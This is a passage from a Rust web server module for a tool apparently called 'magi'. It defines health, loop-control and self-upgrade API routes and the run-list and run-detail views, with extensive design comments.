1693/// phone's "Update & restart" button, which reads it via
1694/// [`cached_update_view`] - frozen on whatever that one look found, however
1695/// many releases ship afterwards. This is what notices the rest of them,
1696/// re-reading the config each tick so a `magi.toml` edit while the server is
1697/// up takes effect without a restart, the same way every other route here
1698/// already does - both for whether checking is on at all and for how long
1699/// the next sleep should be.
1700///
1701/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1702/// "install"`: swapping the running binary out from under a task or a run
1703/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1704/// not as a side effect of a timer nobody asked to fire. This only ever
1705/// calls [`updater::Checker::newer_release`], which refreshes
1706/// `last_update_check.json` and nothing else - so under `mode = "install"`
1707/// this behaves like `notify` for as long as the deck stays up, and an
1708/// actual self-install still happens exactly where it always has: once, at
1709/// the next process start.
1710async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1711    loop {
1712        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1713        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1714        if !should_spawn_recheck(&cfg.update) {
1715            continue;
1716        }
1717        let Some(checker) = updater::Checker::new(&cfg.update) else {
1718            continue;
1719        };
1720        let progress = updater::read_progress(&home);
1721        if !update_recheck_due(&checker, progress.as_ref()) {
1722            continue;
1723        }
1724        if let Err(e) = checker.newer_release().await {
1725            tracing::warn!("background update recheck failed: {e:#}");
1726        }
1727    }
1728}
1729
1730/// [`UpdateView`] from the same throttled, disk-only state
1731/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1732/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1733/// no cached state at all, which is correct: an operator who turned checking
1734/// off gets no opinion, not a stale one.
1735fn cached_update_view(repo: &FsPath) -> UpdateView {
1736    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1737    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1738    match latest {
1739        Some(latest) => UpdateView {
1740            available: true,
1741            to: Some(latest.tag_name),
1742        },
1743        None => UpdateView {
1744            available: false,
1745            to: None,
1746        },
1747    }
1748}
1749
1750/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1751/// from the parked run's own state when the stage is
1752/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1753/// already on disk in `run.json`, so this reads them fresh rather than
1754/// trusting whatever was true the moment the park was requested.
1755fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1756    let waiting_on = (progress.stage == updater::Stage::Parking)
1757        .then_some(progress.parked_run.as_deref())
1758        .flatten()
1759        .and_then(|id| read_run(&ui.runs, id).ok())
1760        .map(|run| {
1761            format!(
1762                "run {} is finishing {} before the address is handed over",
1763                run.short(),
1764                run.status.as_str()
1765            )
1766        });
1767    UpgradeProgressView {
1768        stage: progress.stage,
1769        from: progress.from,
1770        to: progress.to,
1771        waiting_on,
1772        started_at: progress.started_at,
1773        updated_at: progress.updated_at,
1774        detail: progress.detail,
1775    }
1776}
1777
1778/// The disk figures `/api/health` carries. Every number is produced by
1779/// [`crate::disk`], the same code that decides a run may not start, so the
1780/// health screen and the gate cannot disagree about what the machine looks
1781/// like.
1782#[derive(Debug, Serialize)]
1783struct DiskView {
1784    /// Free bytes on the volume holding the runs, when measurable.
1785    #[serde(skip_serializing_if = "Option::is_none")]
1786    free_bytes: Option<u64>,
1787    /// Everything the runs directory occupies, unreadable runs included.
1788    runs_bytes: u64,
1789    /// Everything the runs' worktrees occupy.
1790    worktrees_bytes: u64,
1791    /// The shared build cache's size, when the config names one.
1792    #[serde(skip_serializing_if = "Option::is_none")]
1793    cache_bytes: Option<u64>,
1794}
1795
1796impl DiskView {
1797    /// Measure the three directories and re-read the config's cache.
1798    fn of(ui: &Ui) -> Self {
1799        let cache_bytes = Config::discover(&ui.repo, None)
1800            .ok()
1801            .and_then(|(cfg, _)| cfg.cache_dir())
1802            .map(|dir| crate::disk::dir_size(&dir));
1803        Self {
1804            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1805            runs_bytes: crate::disk::dir_size(&ui.runs),
1806            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1807            cache_bytes,
1808        }
1809    }
1810}
1811
1812/// The daemon's state as the UI presents it.
1813#[derive(Debug, Serialize)]
1814struct DaemonView {
1815    running: bool,
1816    idle: Option<bool>,
1817    pid: Option<u32>,
1818    /// Every task and run currently in flight. Empty when idle; more than
1819    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1820    /// run going at once.
1821    current: Vec<daemon::Current>,
1822    completed: Option<u64>,
1823    stale_for_secs: Option<i64>,
1824}
1825
1826impl DaemonView {
1827    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1828    /// not this UI's — a crashed daemon must not look alive here while
1829    /// `doctor` calls it dead.
1830    fn of(status: Option<daemon::Reading>) -> Self {
1831        let Some(status) = status else {
1832            return Self {
1833                running: false,
1834                idle: None,
1835                pid: None,
1836                current: Vec::new(),
1837                completed: None,
1838                stale_for_secs: None,
1839            };
1840        };
1841        let now = Timestamp::now();
1842        let age = status.age_secs(now);
1843        Self {
1844            running: status.running(now),
1845            idle: Some(status.idle),
1846            pid: status.pid,
1847            current: status.current,
1848            completed: Some(status.completed),
1849            stale_for_secs: age,
1850        }
1851    }
1852}
1853
1854async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1855    blocking(move || {
1856        // One read of the status file for the two fields that describe it, so
1857        // `daemon` and `loop` in the same answer cannot disagree about who is
1858        // running the loop.
1859        let reading = daemon::read_status(&ui.home);
1860        // Read on its own line, not inside the literal below: the loop's lock
1861        // is not reentrant, and a guard taken as a temporary there would still
1862        // be held when `loop_view` took it again.
1863        let loop_rev = ui.lock_loop().rev;
1864        let update = cached_update_view(&ui.repo);
1865        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1866        Ok(Json(HealthView {
1867            version: env!("CARGO_PKG_VERSION"),
1868            home: ui.home.display().to_string(),
1869            queue_rev: ui.queue.revision(),
1870            runs_rev: runs_revision(&ui.runs),
1871            questions_rev: ui.questions.revision(),
1872            talks_rev: ui.talks.revision(),
1873            notifications_rev: ui.notices.revision(),
1874            notifications_unread: ui.notices.count_unread(),
1875            loop_rev,
1876            runs_unreadable: runs_unreadable(&ui.runs),
1877            questions_open: ui.questions.count_open(),
1878            questions_needs_owner: ui.questions.count_needs_owner(),
1879            daemon: DaemonView::of(reading.clone()),
1880            looping: ui.loop_view(reading),
1881            disk: DiskView::of(&ui),
1882            update,
1883            upgrade,
1884        }))
1885    })
1886    .await
1887}
1888
1889/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1890#[derive(Debug, Serialize)]
1891struct LoopView {
1892    /// A loop is running in *this* process.
1893    running: bool,
1894    /// It has been asked to stop and is still finishing a run.
1895    ///
1896    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1897    /// because the two differ exactly where it matters: a loop asked to stop
1898    /// while idle is gone within one poll interval, and one asked to stop
1899    /// mid-run keeps going for as long as the graph takes. The operator needs
1900    /// to be told which of those they are waiting for.
1901    stopping: bool,
1902    /// A park was asked for: the run in flight stops at its next node
1903    /// boundary rather than finishing.
1904    ///
1905    /// Separate from `stopping` because the two promise different waits. A
1906    /// stop is "when this competition ends", which can be an hour; a park is
1907    /// "after the step it is on", which is minutes and is what an operator
1908    /// waiting to replace the binary needs to see.
1909    parking: bool,
1910    /// The loop is this process's own.
1911    ///
1912    /// Spelled separately from `running` for the front end's sake, even
1913    /// though inside this process the two move together: `running: false`
1914    /// with `daemon.running: true` is the case where the operator's own `magi
1915    /// serve` owns the loop, and `owned` is the field that tells the UI its
1916    /// buttons have to explain that rather than pretend.
1917    owned: bool,
1918    /// Repository the loop uses for tasks that name none - what it was
1919    /// started with while it runs, and what a start would use before that.
1920    repo: String,
1921    /// Merge mode override in force, or `null` when each repository's own
1922    /// config decides.
1923    merge: Option<String>,
1924    /// Why the last loop in this process ended, when it ended badly.
1925    ///
1926    /// The only place a crashed loop is visible to someone holding a phone.
1927    /// It is logged at error level as well, but a terminal nobody kept open
1928    /// is not a report, and a loop that died at 3am must not read as merely
1929    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1930    /// answers the same question about the same kind of failure.
1931    last_error: Option<String>,
1932    /// The status file, judged the same way `/api/health` judges it: this is
1933    /// what says whether a loop is alive in some *other* process.
1934    daemon: DaemonView,
1935}
1936
1937/// A loop another process already owns.
1938///
1939/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1940/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1941/// published by a pid that is not ours. Excluding our own pid is what makes
1942/// stopping work at all - the loop this process runs writes that file too, so
1943/// a check that ignored the pid would decide the operator's own UI was a
1944/// stranger and refuse to stop the loop it had just started.
1945#[derive(Debug, Clone, Copy)]
1946struct Foreign {
1947    /// The pid the other process published, when it published one.
1948    pid: Option<u32>,
1949}
1950
1951impl Foreign {
1952    /// Another process's live loop, or `None` when this process is free to
1953    /// run one.
1954    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1955        // A fresh heartbeat with no pid in it is still evidence of a live
1956        // daemon. "Some other process" is the honest answer, and refusing
1957        // to start beside it is the safe one.
1958        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
1959    }
1960
1961    /// How a conflict names it. The pid is the whole point of the message: it
1962    /// is what the operator needs to find the terminal that owns the loop.
1963    fn who(&self) -> String {
1964        match self.pid {
1965            Some(pid) => format!("another magi process (pid {pid})"),
1966            None => "another magi process".to_owned(),
1967        }
1968    }
1969}
1970
1971/// How a loop is started, as a future this module can hold onto.
1972///
1973/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1974/// trait object or a hand-written `Debug` impl for the sake of one seam.
1975type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1976
1977/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1978fn launch_daemon(
1979    opts: daemon::Opts,
1980    stop: daemon::Stop,
1981) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1982    Box::pin(daemon::serve_until(opts, stop))
1983}
1984
1985/// The loop this process runs, behind one lock.
1986#[derive(Debug, Default)]
1987struct LoopState {
1988    /// The loop, while there is one.
1989    live: Option<Live>,
1990    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1991    ///
1992    /// The loop is in-process state rather than a file, so nothing on disk
1993    /// would tell a second phone that the first one started it. Without this
1994    /// counter the only way to learn about a start, a stop request or a crash
1995    /// would be to poll `/api/loop`, which is the thing the change stream
1996    /// exists to avoid on a mobile link.
1997    rev: u64,
1998    /// Why the last loop ended, when it ended badly. See
1999    /// [`LoopView::last_error`].
2000    last_error: Option<String>,
2001    /// The loop was running (and not already stopping) when the last upgrade
2002    /// parked it, so the successor should start one. Set afresh by every
2003    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2004    /// update.
2005    resume_after_handover: bool,
2006}
2007
2008/// A loop in flight.
2009#[derive(Debug)]
2010struct Live {
2011    /// The cooperative stop, shared with the loop task.
2012    stop: daemon::Stop,
2013    /// The task itself, kept only to answer whether it is still there: a loop
2014    /// that panicked never records its own end, and without this the view
2015    /// would go on reporting a loop that no longer exists - the one lie that
2016    /// would leave the operator with no button to press.
2017    handle: tokio::task::JoinHandle<()>,
2018    /// What the loop was started with, so the view reports the repository and
2019    /// merge mode its runs will actually use rather than what an edit to the
2020    /// config since would give.
2021    opts: daemon::Opts,
2022}
2023
2024impl Live {
2025    /// Is the task still there? See [`Live::handle`].
2026    fn alive(&self) -> bool {
2027        !self.handle.is_finished()
2028    }
2029}
2030
2031/// Take the loop lock, recovering from a poisoned one.
2032///
2033/// What this mutex holds is a stop flag, a task handle and two counters, none
2034/// of which a panic elsewhere can leave in a state worth refusing to read.
2035/// Propagating the poison instead would mean an operator who can see the loop
2036/// running and can no longer stop it from the only surface they have.
2037fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2038    state.lock().unwrap_or_else(PoisonError::into_inner)
2039}
2040
2041/// `GET /api/loop`.
2042async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2043    blocking(move || {
2044        let reading = daemon::read_status(&ui.home);
2045        Ok(Json(ui.loop_view(reading)))
2046    })
2047    .await
2048}
2049
2050/// The body of `POST /api/loop`.
2051///
2052/// One required field and nothing else: no `default` and no unknown fields,
2053/// so a body that fails to say which way the switch was flipped is a 400
2054/// rather than a tap that quietly does the opposite of what was pressed.
2055#[derive(Debug, Deserialize)]
2056#[serde(deny_unknown_fields)]
2057struct LoopCommand {
2058    running: bool,
2059    /// Stop the run in flight at its next node boundary rather than letting it
2060    /// finish.
2061    ///
2062    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2063    /// competition is tens of minutes of paid work and finishing it is
2064    /// normally the cheapest thing to do. A park is for the operator who
2065    /// wants the process gone now - to replace the binary, most of all - and
2066    /// it costs at most the node in progress because every node writes its
2067    /// state before the next one starts.
2068    #[serde(default)]
2069    park: bool,
2070}
2071
2072/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2073///
2074/// Answers with the view rather than waiting for the loop to reach the state
2075/// that was asked for. Starting is immediate anyway; stopping is not, and the
2076/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2077/// request open for. `stopping` in the answer is what the operator watches
2078/// instead.
2079async fn loop_post(
2080    State(ui): State<Arc<Ui>>,
2081    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2082) -> ApiResult<Json<LoopView>> {
2083    // Taken as a `Result` so a malformed body is a 400 like every other route
2084    // here, rather than axum's default 422 that the UI has no branch for.
2085    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2086    blocking(move || {
2087        let reading = daemon::read_status(&ui.home);
2088        let foreign = Foreign::of(reading.as_ref());
2089        if body.running {
2090            ui.start_loop(foreign)?;
2091        } else {
2092            ui.stop_loop(foreign, body.park)?;
2093        }
2094        Ok(Json(ui.loop_view(reading)))
2095    })
2096    .await
2097}
2098
2099/// What `POST /api/upgrade` set in motion.
2100#[derive(Debug, Serialize)]
2101struct UpgradeView {
2102    /// The version this process is running.
2103    from: String,
2104    /// The release it is replacing itself with, when there is one.
2105    to: Option<String>,
2106    /// A run was parked first, and this is its id.
2107    parked: Option<String>,
2108    /// What the operator should expect to happen next.
2109    detail: String,
2110}
2111
2112/// `POST /api/upgrade` - replace this binary with the newest release and come
2113/// back on it.
2114///
2115/// The one thing the deck could not do for itself. Every fix landed today
2116/// either waited for a competition to end or went in with the deck stopped,
2117/// because `cargo install` cannot overwrite a running executable on Windows.
2118/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2119/// the new one in its place, so the swap itself needs no downtime. Only the
2120/// restart does, and the order is the whole design:
2121///
2122/// 1. **Park.** A run in flight stops at its next node boundary and stays
2123///    resumable, so this costs at most the node in progress rather than the
2124///    competition. Without it the honest choices were waiting an hour or
2125///    discarding paid agent work.
2126/// 2. **Replace.** The new binary goes into place while this one still runs.
2127/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2128///    successor - see [`spawn_successor`] for what happens in the other
2129///    order.
2130/// 4. **Resume.** The next loop carries the parked run on rather than
2131///    competing again; see `daemon::attempt`.
2132///
2133/// Answers **202**: the reply has to reach the phone while this process can
2134/// still send one, and the phone learns the deck is back by reconnecting.
2135async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2136    let reading = daemon::read_status(&ui.home);
2137    if let Some(other) = Foreign::of(reading.as_ref()) {
2138        return Err(ApiError::conflict(format!(
2139            "the loop belongs to {}, so replacing this binary would leave \
2140             that process running an old one against the same queue. Upgrade \
2141             where it was started.",
2142            other.who()
2143        )));
2144    }
2145
2146    // The same kill switch the background check honours (`disabled_by_env`),
2147    // checked before anything else for the same reason it is read before the
2148    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2149    // contact GitHub from this process", and a button press must not
2150    // override that any more than a broken `magi.toml` may.
2151    if crate::updater::disabled_by_env() {
2152        return Ok((
2153            StatusCode::OK,
2154            Json(UpgradeView {
2155                from: env!("CARGO_PKG_VERSION").to_owned(),
2156                to: None,
2157                parked: None,
2158                detail: format!(
2159                    "Automatic updates are disabled by {}. Nothing was parked \
2160                     and nothing restarted.",
2161                    crate::updater::NO_AUTOUPDATE_ENV
2162                ),
2163            }),
2164        ));
2165    }
2166
2167    // Asked before anything is disturbed. Restarting when there is nothing
2168    // to install is not a harmless no-op: it parks the run in flight and
2169    // drops every connection to pay for an upgrade that did not happen. A
2170    // probe against a deck already on the newest build did exactly that.
2171    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2172    let from = env!("CARGO_PKG_VERSION").to_owned();
2173    let latest = match crate::updater::Checker::new(&cfg.update) {
2174        Some(checker) => checker
2175            .newer_release()
2176            .await
2177            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2178        None => None,
2179    };
2180    let Some(latest) = latest else {
2181        return Ok((
2182            StatusCode::OK,
2183            Json(UpgradeView {
2184                from,
2185                to: None,
2186                parked: None,
2187                detail: "Already on the newest release. Nothing was parked \
2188                         and nothing restarted."
2189                    .to_owned(),
2190            }),
2191        ));
2192    };
2193
2194    // Parked before anything is replaced: a successor that came up while a
2195    // run was mid-node would find a run nobody is driving.
2196    let parked = ui.park_for_upgrade()?;
2197    let detail = match &parked {
2198        // Honest about the wait. A park takes effect at the *next* node
2199        // boundary, so a run mid-implement finishes that wave first - up to
2200        // `timeout_implement`, an hour by default. Saying "restarting now"
2201        // would make the deck look wedged for the rest of it.
2202        Some(run) => format!(
2203            "Run {} is parking at its next step, which can take as long as \
2204             the step it is on - up to an hour for an implement wave. The \
2205             deck replaces itself once it parks, comes back, and the loop \
2206             carries that run on from where it stopped. Nothing is lost if \
2207             you close this.",
2208            crate::run::short_of(run)
2209        ),
2210        None => "The deck replaces itself and comes back. Nothing was in \
2211                 flight to park."
2212            .to_owned(),
2213    };
2214
2215    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2216    // poll must see a `Downloading` stage immediately, not whenever the
2217    // spawned task happens to get scheduled.
2218    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2219    progress.parked_run = parked.clone();
2220    let _ = updater::write_progress(&ui.home, &progress);
2221
2222    let home = ui.home.clone();
2223    let looping = ui.looping();
2224    tokio::spawn(async move {
2225        if let Err(e) = upgrade_and_restart(home.clone()).await {
2226            tracing::error!("the upgrade did not complete: {e:#}");
2227            lock_or_recover(&looping).resume_after_handover = false;
2228            if let Some(mut progress) = updater::read_progress(&home) {
2229                progress.fail(format!("{e:#}"));
2230                let _ = updater::write_progress(&home, &progress);
2231            }
2232        }
2233    });
2234
2235    Ok((
2236        StatusCode::ACCEPTED,
2237        Json(UpgradeView {
2238            from,
2239            to: Some(latest.tag_name),
2240            parked,
2241            detail,
2242        }),
2243    ))
2244}
2245
2246/// Replace the binary, then ask [`serve`] to hand the address over.
2247///
2248/// Separated from the handler so the 202 is already on its way, and separated
2249/// from the spawn so the successor starts only after the listener is dropped.
2250async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2251    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2252    // hang the upgrade for as long as the process lives.
2253    crate::updater::run_self_update(true, false, true).await?;
2254    tracing::info!("binary replaced - asking the server to hand over");
2255    if let Some(mut progress) = updater::read_progress(&home) {
2256        progress.advance(updater::Stage::Replaced);
2257        let _ = updater::write_progress(&home, &progress);
2258    }
2259    HANDOVER.notify_one();
2260    Ok(())
2261}
2262
2263/// One row in the run list.
2264///
2265/// The list route returns this rather than whole `RunState`s: the summary of a
2266/// run is a few hundred bytes and the state is megabytes, and the difference
2267/// is what makes the history usable on a mobile link.
2268#[derive(Debug, Serialize)]
2269struct RunSummary {
2270    id: String,
2271    short: String,
2272    status: String,
2273    done: bool,
2274    instruction: String,
2275    title: String,
2276    repo: String,
2277    repo_name: String,
2278    created_at: String,
2279    updated_at: String,
2280    candidates: usize,
2281    viable: usize,
2282    judges: usize,
2283    winner: Option<char>,
2284    reviews: usize,
2285    quota_losses: usize,
2286    event: Option<String>,
2287    /// The later attempt at the same task that replaced this one, if any.
2288    ///
2289    /// Two cards with one title is otherwise unreadable: this is what lets
2290    /// the deck say "superseded by 4043" on the older of the pair.
2291    superseded_by: Option<String>,
2292    /// Blocked on a question nobody has answered.
2293    ///
2294    /// Derived from the question store rather than stored on the run: an agent
2295    /// calling `magi ask` blocks mid-node, and writing a status from there
2296    /// would race the graph's own save of `run.json` and be overwritten at the
2297    /// next node boundary. Asking the store is always true and never races.
2298    waiting: bool,
2299    /// Whether the process recorded as driving this run can still be proven
2300    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2301    /// rather than presenting its last graph node as still in flight.
2302    live: crate::run::Liveness,
2303    /// The land loop's last look at the pull request, when there is one.
2304    pr: Option<crate::run::PrRecord>,
2305    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2306    /// design — never picked up by the PR-polling merge watcher, unlike an
2307    /// ordinary `Ready` that may still be a live landing candidate. See
2308    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2309    /// re-deriving the same check from `status` and `merge.mode` itself.
2310    unmerged_by_design: bool,
2311    /// Who started the run, as the one label every surface shares; the
2312    /// "origin unknown" wording when the record predates origins.
2313    origin_label: String,
2314}
2315
2316impl RunSummary {
2317    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2318        Self {
2319            id: state.id.clone(),
2320            short: state.short().to_owned(),
2321            status: status_word(state.status),
2322            done: state.status.done(),
2323            unmerged_by_design: state.unmerged_by_design(),
2324            instruction: state.instruction.clone(),
2325            title: title_from(&state.instruction, TITLE_MAX),
2326            repo: state.repo.display().to_string(),
2327            repo_name: state
2328                .repo
2329                .file_name()
2330                .map(|n| n.to_string_lossy().into_owned())
2331                .unwrap_or_default(),
2332            created_at: state.created_at.to_string(),
2333            updated_at: state.updated_at.to_string(),
2334            candidates: state.candidates.len(),
2335            viable: state.viable().len(),
2336            judges: state.config.graph.judges,
2337            winner: state.winner().map(|c| c.label),
2338            reviews: state.reviews.len(),
2339            quota_losses: state.quota.len(),
2340            event: state.events.last().map(|e| e.message.clone()),
2341            waiting,
2342            live,
2343            // Filled in by the list route, which is the only place that can
2344            // see a task's other attempts.
2345            superseded_by: None,
2346            pr: state.pr.clone(),
2347            origin_label: crate::run::origin_label(state.origin.as_ref()),
2348        }
2349    }
2350}
2351
2352/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2353/// the same string `serde` writes for the status inside a full run.
2354fn status_word(status: RunStatus) -> String {
2355    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2356    // was a third way of naming the same statuses, and one that changed
2357    // silently with a derive.
2358    status.as_str().to_owned()
2359}
2360
2361/// `?limit=`, clamped by the handler.
2362#[derive(Debug, Deserialize)]
2363struct ListQuery {
2364    #[serde(default)]
2365    limit: Option<usize>,
2366}
2367
2368async fn runs_list(
2369    State(ui): State<Arc<Ui>>,
2370    Query(q): Query<ListQuery>,
2371) -> ApiResult<Json<Vec<RunSummary>>> {
2372    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2373    blocking(move || {
2374        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2375        let states = run_ids(&ui.runs)
2376            .into_iter()
2377            // A run whose state cannot be read is skipped, not fatal: a run
2378            // killed mid-write must not blank the history of every other one.
2379            // The detail route still explains it, which is where an operator
2380            // asking "what happened to that run" ends up.
2381            .filter_map(|id| read_run(&ui.runs, &id).ok())
2382            .take(limit);
2383        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2384        let summaries = summarize(
2385            states,
2386            &open_runs,
2387            &claimed,
2388            &superseded,
2389            |p| probe.borrow_mut().status(p),
2390            |p| probe.borrow_mut().started_at(p),
2391        );
2392        Ok(Json(summaries))
2393    })
2394    .await
2395}
2396
2397/// Everything the per-run rows share, read once: runs with an open question,
2398/// runs a live daemon claims, and the superseded map. Asking per run re-read
2399/// every question file and the daemon status file for each of hundreds of
2400/// runs, and spawned a process probe per run on Windows.
2401fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2402    let open_runs: HashSet<String> = ui
2403        .questions
2404        .list()
2405        .into_iter()
2406        .filter(|q| q.status.open())
2407        .map(|q| q.run)
2408        .collect();
2409    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2410        .into_iter()
2411        .map(|c| c.run)
2412        .collect();
2413    (open_runs, claimed, ui.queue.superseded())
2414}
2415
2416/// The rows of the run list, given everything that is shared between them.
2417///
2418/// Pure over its inputs so a test can count how often the process queries are
2419/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2420/// takes, called at most once per run.
2421fn summarize<I, S, D>(
2422    states: I,
2423    open_runs: &HashSet<String>,
2424    claimed: &HashSet<String>,
2425    superseded: &HashMap<String, String>,
2426    mut status_q: S,
2427    mut identity_q: D,
2428) -> Vec<RunSummary>
2429where
2430    I: IntoIterator<Item = RunState>,
2431    S: FnMut(u32) -> Option<bool>,
2432    D: FnMut(u32) -> Option<String>,
2433{
2434    states
2435        .into_iter()
2436        .map(|state| {
2437            let waiting = open_runs.contains(&state.id);
2438            let live =
2439                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2440            let mut row = RunSummary::of(&state, waiting, live);
2441            row.superseded_by = superseded
2442                .get(&state.id)
2443                .map(String::as_str)
2444                .map(crate::run::short_of)
2445                .map(str::to_owned);
2446            row
2447        })
2448        .collect()
2449}
2450
2451/// A run as the detail route hands it to the phone.
2452///
2453/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2454/// the instruction as markdown, and the raw `instruction` field this struct
2455/// still carries (unchanged) is what a client wanting the exact bytes reads
2456/// instead.
2457#[derive(Debug, Serialize)]
2458struct RunDetailView {
2459    #[serde(flatten)]
2460    state: RunState,
2461    instruction_md: Vec<md::Node>,
2462    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2463    /// mirror the records they come from, index for index; the raw strings
2464    /// stay in `state` and decide whether a block is shown at all.
2465    #[serde(flatten)]
2466    prose_md: RunProseMd,
2467    /// Whether a process is actually still driving this run: `"live"`,
2468    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2469    ///
2470    /// `state.active` (flattened in above) is only ever cleared by the
2471    /// process that populated it; a killed one leaves its last wave's
2472    /// entries behind. Carrying this alongside is what lets the phone rail
2473    /// tell "this seat is still answering" from "this seat was still
2474    /// answering when whatever was driving this run died" without a second
2475    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2476    /// proof of either. A string rather than a bool on purpose: a daemon
2477    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2478    /// and neither proven is `"unknown"` — folding that third case into
2479    /// either end of a bool is exactly the wrong call for a phone screen an
2480    /// operator uses to decide whether to wait or to act.
2481    live: crate::run::Liveness,
2482    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2483    /// alongside the flattened `state` rather than inside it, since
2484    /// `RunState` has no business knowing which of its own methods a caller
2485    /// wants serialized.
2486    unmerged_by_design: bool,
2487    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2488    /// terminal. The client's `landView` keys on it, and the flattened state
2489    /// has no such field, so without it a finished run's stale `open` PR
2490    /// would be painted as live on the detail page.
2491    done: bool,
2492    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2493    /// route fills it from [`Queue::superseded`], the detail route from
2494    /// [`Queue::superseded_by`], and both read the same underlying task
2495    /// order. Without this the detail page could only ever show a red
2496    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2497    /// with nothing anywhere saying so — an operator opening it had no way
2498    /// to tell "this is done elsewhere" from "this still needs a retry".
2499    superseded_by: Option<String>,
2500    /// The task's current attempt, when this run is an older one — resolved
2501    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2502    /// the client to derive.
2503    ///
2504    /// Three things a client cannot safely do on its own drove this onto the
2505    /// server: it has to name the chain's *current head*, not just the next
2506    /// attempt (`superseded_by` above), because an intermediate retry in a
2507    /// longer chain can itself still be unresolved; it has to resolve to a
2508    /// real id rather than a short id a client would have to guess a full id
2509    /// from, which is ambiguous the moment two runs share a suffix; and it
2510    /// has to read that head's own status directly, because whether a run
2511    /// list a client happens to have cached even contains that attempt
2512    /// depends on a page limit this route knows nothing about.
2513    latest_attempt: Option<LatestAttempt>,
2514    /// The queue task this run belongs to, so the detail page can link back
2515    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2516    task: Option<TaskRef>,
2517    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2518    /// run recorded before origins existed. `origin` itself (flattened in
2519    /// with `state`) is `null` in that case.
2520    origin_label: String,
2521}
2522
2523/// A task named from a run's detail page.
2524#[derive(Debug, Serialize)]
2525struct TaskRef {
2526    id: String,
2527    short: String,
2528    title: String,
2529    /// [`Source::label`], e.g. `chat@a1b2`.
2530    source_label: String,
2531    /// Where the task came from, when that place has a page; see [`source_link`].
2532    source_link: Option<SourceLink>,
2533    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
2534    status: &'static str,
2535    attempts: usize,
2536    max_attempts: usize,
2537    /// This run is the last entry of the task's run list.
2538    is_latest: bool,
2539    /// The task's newest run, when it is not this one.
2540    latest: Option<RunBrief>,
2541    /// The run that finished a `done` task (merged, or already in the base).
2542    finished_by: Option<RunBrief>,
2543    /// The task is `done` but no run on record finished it: closed by hand.
2544    closed_by_hand: bool,
